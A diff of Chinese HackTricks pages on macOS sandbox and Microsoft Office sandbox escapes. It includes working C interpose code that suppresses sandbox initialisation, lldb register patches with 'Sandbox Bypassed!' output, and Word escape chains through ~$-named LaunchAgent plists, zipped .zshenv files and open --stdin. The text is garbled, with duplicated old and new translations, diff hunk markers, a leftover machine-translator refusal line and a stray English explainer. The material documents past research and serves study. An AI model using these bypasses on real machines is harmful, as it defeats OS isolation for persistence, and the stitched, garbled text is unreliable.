**由沙盒进程创建的文件**会附加**隔离属性**,以防止沙盒逃逸。然而,如果你设法在沙盒应用程序中**创建一个没有隔离属性的`.app`文件夹**,你可以使应用程序包的二进制文件指向**`/bin/bash`**,并在**plist**中添加一些环境变量来滥用**`open`**以**启动新的非沙盒应用程序**。
|
||||
**由沙盒进程创建的文件** 会附加 **隔离属性**,以防止沙盒逃逸。然而,如果您设法在沙盒应用程序中**创建一个没有隔离属性的 `.app` 文件夹**,您可以使应用程序包二进制文件指向 **`/bin/bash`** 并在 **plist** 中添加一些环境变量,以滥用 **`open`** 来**启动新应用程序而不受沙盒限制**。
|
||||
|
||||
这就是在[**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)**中所做的**。
|
||||
这就是在 [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)** 中所做的。**
|
||||
|
||||
{% hint style="danger" %}
|
||||
因此,目前,如果你只能创建一个以**`.app`**结尾的文件夹而没有隔离属性,你可以逃离沙盒,因为macOS只会在**`.app`文件夹**和**主可执行文件**中**检查**隔离属性(我们将主可执行文件指向**`/bin/bash`**)。
|
||||
因此,目前,如果您只是能够创建一个以 **`.app`** 结尾且没有隔离属性的文件夹,您就可以逃离沙盒,因为 macOS 只会**检查** `.app` 文件夹和**主执行文件**中的**隔离**属性(我们将主执行文件指向 **`/bin/bash`**)。
|
||||
|
||||
请注意,如果一个.app包已经被授权运行(它具有带有授权运行标志的隔离属性),你也可以滥用它...只是现在你不能在**.app**包内写入,除非你拥有一些特权的TCC权限(在沙盒高权限下你将没有)。
|
||||
请注意,如果一个 .app 包已经被授权运行(它有一个带有授权运行标志的隔离 xttr),您也可以滥用它... 除非现在您不能在 **`.app`** 包内写入,除非您拥有一些特权 TCC 权限(在高级沙盒内您不会有)。
|
||||
{% endhint %}
|
||||
|
||||
### 滥用Open功能
|
||||
### 滥用 Open 功能
|
||||
|
||||
在[**Word沙盒绕过的最后示例**](macos-office-sandbox-bypasses.md#word-sandbox-bypass-via-login-items-and-.zshenv)中,可以看到如何滥用**`open`**命令行功能来绕过沙盒。
|
||||
在[**Word 沙盒绕过的最后示例**](macos-office-sandbox-bypasses.md#word-sandbox-bypass-via-login-items-and-.zshenv)中可以看到,如何滥用 **`open`** 命令行功能来绕过沙盒。
|
||||
|
||||
{% content-ref url="macos-office-sandbox-bypasses.md" %}
|
||||
[macos-office-sandbox-bypasses.md](macos-office-sandbox-bypasses.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 启动代理/守护程序
|
||||
### 启动代理/守护进程
|
||||
|
||||
即使一个应用程序被**设计为沙盒**(`com.apple.security.app-sandbox`),如果它是从**LaunchAgent**(`~/Library/LaunchAgents`)中执行的,仍然可以绕过沙盒。
|
||||
正如[**这篇文章**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818)中所解释的那样,如果你想让一个被沙盒限制的应用程序获得持久性,你可以将其自动执行为LaunchAgent,并通过DyLib环境变量注入恶意代码。
|
||||
即使应用程序**应该被沙盒化**(`com.apple.security.app-sandbox`),如果它是从 LaunchAgent(例如 `~/Library/LaunchAgents`)**执行的**,也可以绕过沙盒。\
|
||||
正如[**这篇文章**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818)所解释的,如果您想让一个沙盒化的应用程序获得持久性,您可以使其自动作为 LaunchAgent 执行,并可能通过 DyLib 环境变量注入恶意代码。
|
||||
|
||||
### 滥用自动启动位置
|
||||
### 滥用自启动位置
|
||||
|
||||
如果一个沙盒进程可以**写入**一个**稍后将要运行二进制文件的位置**,它将能够通过将二进制文件放在那里来**逃离沙盒**。这种位置的一个很好的例子是`~/Library/LaunchAgents`或`/System/Library/LaunchDaemons`。
|
||||
如果沙盒化进程可以**写入**一个位置,**稍后一个未沙盒化的应用程序将运行二进制文件**,它将能够**通过放置**那里的二进制文件来**逃逸**。这种位置的一个好例子是 `~/Library/LaunchAgents` 或 `/System/Library/LaunchDaemons`。
|
||||
|
||||
为此,你可能需要**两个步骤**:使一个具有**更宽松的沙盒**(`file-read*`,`file-write*`)的进程执行你的代码,该代码实际上会写入一个将以**非沙盒方式执行**的位置。
|
||||
为此,您甚至可能需要**两步**:让一个具有**更宽松沙盒权限**(`file-read*`、`file-write*`)的进程执行您的代码,该代码实际上将写入一个稍后将**未沙盒化执行**的位置。
|
||||
|
||||
请查看关于**自动启动位置**的页面:
|
||||
查看有关**自启动位置**的页面:
|
||||
|
||||
{% content-ref url="../../../../macos-auto-start-locations.md" %}
|
||||
[macos-auto-start-locations.md](../../../../macos-auto-start-locations.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 滥用其他进程
|
||||
|
||||
如果从沙盒进程中能够入侵运行在较不严格沙盒(或无沙盒)中的其他进程,你就能够逃脱到它们的沙盒中:
|
||||
如果从沙盒进程中您能够**危害在更少限制的沙盒中(或没有)运行的其他进程**,您将能够逃到它们的沙盒:
|
||||
|
||||
{% content-ref url="../../../macos-proces-abuse/" %}
|
||||
[macos-proces-abuse](../../../macos-proces-abuse/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 静态编译和动态链接
|
||||
### 静态编译 & 动态链接
|
||||
|
||||
[**这项研究**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/)发现了两种绕过沙盒的方法。因为沙盒是在用户空间加载**libSystem**库时应用的。如果一个二进制文件能够避免加载它,那么它就不会被沙盒化:
|
||||
[**这项研究**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) 发现了两种绕过沙盒的方法。因为沙盒是在用户空间应用的,当加载 **libSystem** 库时。如果二进制文件可以避免加载它,它将永远不会被沙盒化:
|
||||
|
||||
* 如果二进制文件是**完全静态编译**的,它可以避免加载该库。
|
||||
* 如果二进制文件**不需要加载任何库**(因为链接器也在libSystem中),它就不需要加载libSystem。
|
||||
* 如果二进制文件是**完全静态编译的**,它可以避免加载该库。
|
||||
* 如果**二进制文件不需要加载任何库**(因为链接器也在 libSystem 中),它就不需要加载 libSystem。
|
||||
|
||||
### Shellcode
|
||||
### Shellcodes
|
||||
|
||||
请注意,即使是ARM64的shellcode也需要链接到`libSystem.dylib`中:
|
||||
请注意,即使在 ARM64 中的 **shellcodes** 也需要链接在 `libSystem.dylib`:
|
||||
```bash
|
||||
ld -o shell shell.o -macosx_version_min 13.0
|
||||
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64
|
||||
```
|
||||
### 权限
|
||||
### 权利
|
||||
|
||||
请注意,即使某些**操作**在应用程序具有特定**权限**的情况下可能被**允许在沙盒中执行**,例如:
|
||||
请注意,即使沙盒可能**允许**某些**操作**,如果应用程序具有特定的**权利**,例如:
|
||||
```scheme
|
||||
(when (entitlement "com.apple.security.network.client")
|
||||
(allow network-outbound (remote ip))
|
||||
|
@ -95,15 +98,15 @@ ld: dynamic executables or dylibs must link with libSystem.dylib for architectur
|
|||
(global-name "com.apple.cfnetwork.cfnetworkagent")
|
||||
[...]
|
||||
```
|
||||
### Interposting Bypass
|
||||
### Interposting 绕过
|
||||
|
||||
有关**Interposting**的更多信息,请查看:
|
||||
有关 **Interposting** 的更多信息,请查看:
|
||||
|
||||
{% content-ref url="../../../mac-os-architecture/macos-function-hooking.md" %}
|
||||
[macos-function-hooking.md](../../../mac-os-architecture/macos-function-hooking.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
#### Interpost `_libsecinit_initializer` 以防止沙盒化
|
||||
#### Interpost `_libsecinit_initializer` 以防止沙盒
|
||||
```c
|
||||
// gcc -dynamiclib interpose.c -o interpose.dylib
|
||||
|
||||
|
@ -161,7 +164,7 @@ __attribute__((used)) static const struct interpose_sym interposers[] __attribut
|
|||
{ (const void *)my_mac_syscall, (const void *)__mac_syscall },
|
||||
};
|
||||
```
|
||||
{% endcode %}
|
||||
The provided text seems to be a closing tag for a code block in markdown syntax. There is no English text to translate. If you have any other content that needs translation, please provide the English text.
|
||||
```bash
|
||||
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
|
||||
|
||||
|
@ -173,7 +176,7 @@ __mac_syscall invoked. Policy: Quarantine, Call: 87
|
|||
__mac_syscall invoked. Policy: Sandbox, Call: 4
|
||||
Sandbox Bypassed!
|
||||
```
|
||||
### 使用lldb调试和绕过沙盒
|
||||
### 使用 lldb 调试和绕过沙盒
|
||||
|
||||
让我们编译一个应该被沙盒化的应用程序:
|
||||
|
||||
|
@ -185,46 +188,9 @@ int main() {
|
|||
system("cat ~/Desktop/del.txt");
|
||||
}
|
||||
```
|
||||
{% tab title="entitlements.xml" %}
|
||||
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>com.apple.security.app-sandbox</key>
|
||||
<true/>
|
||||
<key>com.apple.security.network.client</key>
|
||||
<true/>
|
||||
<key>com.apple.security.files.user-selected.read-write</key>
|
||||
<true/>
|
||||
<key>com.apple.security.files.user-selected.read-only</key>
|
||||
<true/>
|
||||
<key>com.apple.security.files.all</key>
|
||||
<true/>
|
||||
<key>com.apple.security.print</key>
|
||||
<true/>
|
||||
<key>com.apple.security.temporary-exception.apple-events</key>
|
||||
<array>
|
||||
<string>com.apple.dt.Xcode</string>
|
||||
</array>
|
||||
</dict>
|
||||
</plist>
|
||||
```
|
||||
|
||||
这是一个示例的 entitlements.xml 文件,其中包含了一些常见的沙盒权限。在这个文件中,我们可以看到以下权限:
|
||||
|
||||
- `com.apple.security.app-sandbox`:启用应用沙盒。
|
||||
- `com.apple.security.network.client`:允许应用进行网络通信。
|
||||
- `com.apple.security.files.user-selected.read-write`:允许应用读写用户选择的文件。
|
||||
- `com.apple.security.files.user-selected.read-only`:允许应用只读用户选择的文件。
|
||||
- `com.apple.security.files.all`:允许应用访问所有文件。
|
||||
- `com.apple.security.print`:允许应用进行打印操作。
|
||||
- `com.apple.security.temporary-exception.apple-events`:允许应用在特定情况下使用苹果事件。
|
||||
|
||||
这些权限可以根据应用的需求进行调整和配置,以实现沙盒环境下的安全保护和功能限制。
|
||||
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="entitlements.xml" %}
|
||||
```xml
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
||||
<dict>
|
||||
|
@ -233,30 +199,9 @@ system("cat ~/Desktop/del.txt");
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
{% tab title="Info.plist" %}
|
||||
|
||||
## Info.plist
|
||||
|
||||
The `Info.plist` file is an essential component of a macOS application. It contains metadata about the application, including its name, version, and various configuration settings.
|
||||
|
||||
When it comes to sandboxing, the `Info.plist` file plays a crucial role in defining the application's sandbox entitlements. These entitlements determine the level of access the application has to system resources and APIs.
|
||||
|
||||
To bypass or debug the macOS sandbox, you may need to modify the `Info.plist` file. By changing the sandbox entitlements, you can potentially gain elevated privileges or disable certain security restrictions.
|
||||
|
||||
However, modifying the `Info.plist` file requires careful consideration and understanding of the sandboxing mechanism. Incorrect modifications can lead to application crashes or security vulnerabilities.
|
||||
|
||||
To debug or bypass the macOS sandbox using the `Info.plist` file, follow these steps:
|
||||
|
||||
1. Locate the `Info.plist` file within the application bundle.
|
||||
2. Open the `Info.plist` file using a text editor.
|
||||
3. Identify the sandbox entitlements section, which typically includes keys like `com.apple.security.app-sandbox` and `com.apple.security.files.user-selected.read-write`.
|
||||
4. Modify the values of these entitlements to change the application's access permissions.
|
||||
5. Save the modified `Info.plist` file.
|
||||
6. Test the application to verify if the sandbox restrictions have been bypassed or modified successfully.
|
||||
|
||||
It is important to note that bypassing or modifying the macOS sandbox can have serious security implications. It is recommended to only perform these actions in controlled environments for legitimate purposes, such as penetration testing or debugging.
|
||||
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Info.plist" %}
|
||||
```xml
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
|
@ -285,14 +230,14 @@ codesign -s <cert-name> --entitlements entitlements.xml sand
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
该应用程序将尝试**读取**文件**`~/Desktop/del.txt`**,而**沙盒不允许**这样做。\
|
||||
在那里创建一个文件,一旦绕过沙盒,它就能够读取它:
|
||||
应用程序将尝试**读取**文件**`~/Desktop/del.txt`**,但**沙盒不允许**。\
|
||||
创建一个文件,一旦绕过沙盒,它就能够读取它:
|
||||
```bash
|
||||
echo "Sandbox Bypassed" > ~/Desktop/del.txt
|
||||
```
|
||||
{% endhint %}
|
||||
|
||||
让我们调试应用程序,查看沙盒何时加载:
|
||||
让我们调试应用程序以查看何时加载了Sandbox:
|
||||
```bash
|
||||
# Load app in debugging
|
||||
lldb ./sand
|
||||
|
@ -357,18 +302,20 @@ libsystem_kernel.dylib`:
|
|||
0x187659904 <+4>: svc #0x80
|
||||
0x187659908 <+8>: b.lo 0x187659928 ; <+40>
|
||||
0x18765990c <+12>: pacibsp
|
||||
# 通过修改一些寄存器来绕过跳转到b.lo地址
|
||||
(lldb) 断点删除 1 # 移除断点
|
||||
(lldb) 寄存器写入 $pc 0x187659928 # b.lo地址
|
||||
(lldb) 寄存器写入 $x0 0x00
|
||||
(lldb) 寄存器写入 $x1 0x00
|
||||
(lldb) 寄存器写入 $x16 0x17d
|
||||
|
||||
# To bypass jump to the b.lo address modifying some registers first
|
||||
(lldb) breakpoint delete 1 # Remove bp
|
||||
(lldb) register write $pc 0x187659928 #b.lo address
|
||||
(lldb) register write $x0 0x00
|
||||
(lldb) register write $x1 0x00
|
||||
(lldb) register write $x16 0x17d
|
||||
(lldb) c
|
||||
进程 2517 恢复执行
|
||||
绕过沙盒!
|
||||
进程 2517 以状态 0 (0x00000000) 退出
|
||||
Process 2517 resuming
|
||||
Sandbox Bypassed!
|
||||
Process 2517 exited with status = 0 (0x00000000)
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
**即使绕过了沙盒,TCC** 也会询问用户是否允许进程读取桌面上的文件
|
||||
**即使绕过了沙盒,TCC** 仍会询问用户是否允许进程从桌面读取文件
|
||||
{% endhint %}
|
||||
|
||||
## 参考资料
|
||||
|
@ -379,12 +326,14 @@ libsystem_kernel.dylib`:
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您希望在 **HackTricks** 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,69 +1,76 @@
|
|||
# macOS Office沙箱绕过
|
||||
# macOS Office 沙盒绕过
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
### 通过启动代理绕过Word沙箱
|
||||
### 通过 Launch Agents 绕过 Word 沙盒
|
||||
|
||||
该应用程序使用一个使用权限`com.apple.security.temporary-exception.sbpl`的**自定义沙箱**,这个自定义沙箱允许在文件名以`~$`开头的任何地方写入文件:`(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))`
|
||||
应用程序使用了一个**自定义沙盒**,使用权限**`com.apple.security.temporary-exception.sbpl`**,这个自定义沙盒允许在文件名以 `~$` 开头的情况下在任何地方写入文件:`(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))`
|
||||
|
||||
因此,绕过沙箱很容易,只需在`~/Library/LaunchAgents/~$escape.plist`中编写一个`plist`启动代理。
|
||||
因此,绕过就像**写一个 `plist`** LaunchAgent 在 `~/Library/LaunchAgents/~$escape.plist` 中一样简单。
|
||||
|
||||
查看[**原始报告**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/)。
|
||||
查看[**原始报告在这里**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/).
|
||||
|
||||
### 通过登录项和zip绕过Word沙箱
|
||||
### 通过登录项和 zip 绕过 Word 沙盒
|
||||
|
||||
(请记住,从第一个逃逸开始,Word可以写入以`~$`开头的任意文件,尽管在修补之前的漏洞中无法在`/Library/Application Scripts`或`/Library/LaunchAgents`中写入)。
|
||||
记住,从第一次逃逸开始,Word 可以写入任意以 `~$` 开头的文件名,尽管在修补了之前的漏洞后,它不可能写入 `/Library/Application Scripts` 或 `/Library/LaunchAgents`。
|
||||
|
||||
发现在沙箱内部可以创建一个**登录项**(用户登录时将执行的应用程序)。然而,这些应用程序**只有在**它们被**公证**之后才会执行,而且**不可能添加参数**(因此不能只使用**`bash`**运行反向shell)。
|
||||
发现在沙盒内可以创建一个**登录项**(用户登录时将执行的应用程序)。然而,这些应用程序**不会执行,除非**它们被**公证**,并且**不可能添加参数**(所以你不能只是使用 **`bash`** 运行一个反向 shell)。
|
||||
|
||||
从之前的沙箱绕过中,Microsoft禁用了在`~/Library/LaunchAgents`中写入文件的选项。然而,发现如果将一个**zip文件作为登录项**,`Archive Utility`将会在当前位置解压缩它。因此,由于默认情况下`~/Library`中的`LaunchAgents`文件夹不会被创建,所以可以将一个plist文件压缩为`LaunchAgents/~$escape.plist`并将zip文件放在`~/Library`中,这样在解压缩时就会到达持久化目标。
|
||||
从之前的沙盒绕过中,Microsoft 禁用了在 `~/Library/LaunchAgents` 中写入文件的选项。然而,发现如果你把一个**zip 文件作为登录项**,`Archive Utility` 将会在其当前位置**解压**它。所以,因为默认情况下 `~/Library` 的 `LaunchAgents` 文件夹没有被创建,所以可以**在 `LaunchAgents/~$escape.plist` 中压缩一个 plist**,然后**放置** zip 文件在 **`~/Library`** 中,当解压时它将到达持久性目的地。
|
||||
|
||||
查看[**原始报告**](https://objective-see.org/blog/blog\_0x4B.html)。
|
||||
查看[**原始报告在这里**](https://objective-see.org/blog/blog\_0x4B.html).
|
||||
|
||||
### 通过登录项和.zshenv绕过Word沙箱
|
||||
### 通过登录项和 .zshenv 绕过 Word 沙盒
|
||||
|
||||
(请记住,从第一个逃逸开始,Word可以写入以`~$`开头的任意文件)。
|
||||
(记住,从第一次逃逸开始,Word 可以写入任意以 `~$` 开头的文件名。)
|
||||
|
||||
然而,前一种技术有一个限制,如果文件夹**`~/Library/LaunchAgents`**存在,因为其他软件创建了它,它将失败。因此,发现了一种不同的登录项链来解决这个问题。
|
||||
然而,之前的技术有一个限制,如果文件夹 **`~/Library/LaunchAgents`** 存在,因为其他软件创建了它,它会失败。因此,为此发现了不同的登录项链。
|
||||
|
||||
攻击者可以创建**`.bash_profile`**和**`.zshenv`**文件,并将负载执行并将它们压缩成zip文件并将zip文件写入受害者的用户文件夹:**`~/~$escape.zip`**。
|
||||
攻击者可以创建文件 **`.bash_profile`** 和 **`.zshenv`**,其中包含要执行的有效载荷,然后将它们压缩并**写入 zip 到受害者** 用户文件夹:**`~/~$escape.zip`**。
|
||||
|
||||
然后,将zip文件添加到**登录项**,然后添加到**`Terminal`**应用程序。当用户重新登录时,zip文件将被解压缩到用户文件夹中,覆盖**`.bash_profile`**和**`.zshenv`**,因此终端将执行其中一个文件(取决于使用的是bash还是zsh)。
|
||||
然后,将 zip 文件添加到**登录项**,然后是**`Terminal`** 应用程序。当用户重新登录时,zip 文件将在用户文件中解压,覆盖 **`.bash_profile`** 和 **`.zshenv`**,因此,终端将执行这些文件之一(取决于使用 bash 还是 zsh)。
|
||||
|
||||
查看[**原始报告**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c)。
|
||||
查看[**原始报告在这里**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c).
|
||||
|
||||
### 通过Open和环境变量绕过Word沙箱
|
||||
### 通过 Open 和环境变量绕过 Word 沙盒
|
||||
|
||||
从沙箱化的进程中仍然可以使用**`open`**实用程序调用其他进程。此外,这些进程将在它们自己的沙箱中运行。
|
||||
从沙盒进程中,仍然可以使用 **`open`** 工具调用其他进程。此外,这些进程将在**它们自己的沙盒**内运行。
|
||||
|
||||
发现open实用程序具有**`--env`**选项,可以使用特定的环境变量运行应用程序。因此,可以在沙箱内的文件夹中创建**`.zshenv`文件**,并使用`open`和`--env`将**`HOME`变量**设置为该文件夹,打开`Terminal`应用程序,它将执行`.zshenv`文件(由于某种原因,还需要设置变量`__OSINSTALL_ENVIROMENT`)。
|
||||
发现 open 工具有一个 **`--env`** 选项,用于使用**特定的环境**变量运行应用程序。因此,可以在**沙盒内部**的文件夹中创建 **`.zshenv` 文件**,然后使用 `open` 和 `--env` 设置 **`HOME` 变量** 到那个文件夹打开 `Terminal` 应用程序,它将执行 `.zshenv` 文件(由于某种原因,还需要设置变量 `__OSINSTALL_ENVIROMENT`)。
|
||||
|
||||
查看[**原始报告**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/)。
|
||||
查看[**原始报告在这里**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/).
|
||||
|
||||
### 通过Open和stdin绕过Word沙箱
|
||||
### 通过 Open 和 stdin 绕过 Word 沙盒
|
||||
|
||||
**`open`**实用程序还支持**`--stdin`**参数(在之前的绕过之后,无法再使用`--env`)。
|
||||
**`open`** 工具还支持 **`--stdin`** 参数(在之前的绕过之后,不再可能使用 `--env`)。
|
||||
|
||||
问题是,即使**`python`**由Apple签名,它也**不会执行**带有**`quarantine`**属性的脚本。然而,可以将脚本从stdin传递给它,这样它就不会检查它是否被隔离: 
|
||||
问题是,即使 **`python`** 被 Apple 签名,它也**不会执行**带有**`隔离`**属性的脚本。然而,可以通过 stdin 传递脚本,所以它不会检查脚本是否被隔离: 
|
||||
|
||||
1. 放置一个名为**`~$exploit.py`**的文件,其中包含任意Python命令。
|
||||
2. 运行_open_ **`–stdin='~$exploit.py' -a Python`**,它将使用我们放置的文件作为标准输入运行Python应用程序。Python愉快地运行我们的代码,并且由于它是_launchd_的子进程,它不受Word沙箱规则的限制。
|
||||
1. 放置一个 **`~$exploit.py`** 文件,其中包含任意 Python 命令。
|
||||
2. 运行 _open_ **`–stdin='~$exploit.py' -a Python`**,这将运行 Python 应用程序,我们放置的文件作为其标准输入。Python 愉快地运行我们的代码,由于它是 _launchd_ 的子进程,它不受 Word 沙盒规则的约束。
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks上看到你的**公司广告**吗?或者想要获取**最新版本的PEASS或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品。
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)。
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**Telegram群组**](https://t.me/peass),或者**关注**我的**Twitter**账号[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**hacktricks仓库**](https://github.com/carlospolop/hacktricks)和[**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud)提交PR来**分享你的黑客技巧**。
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
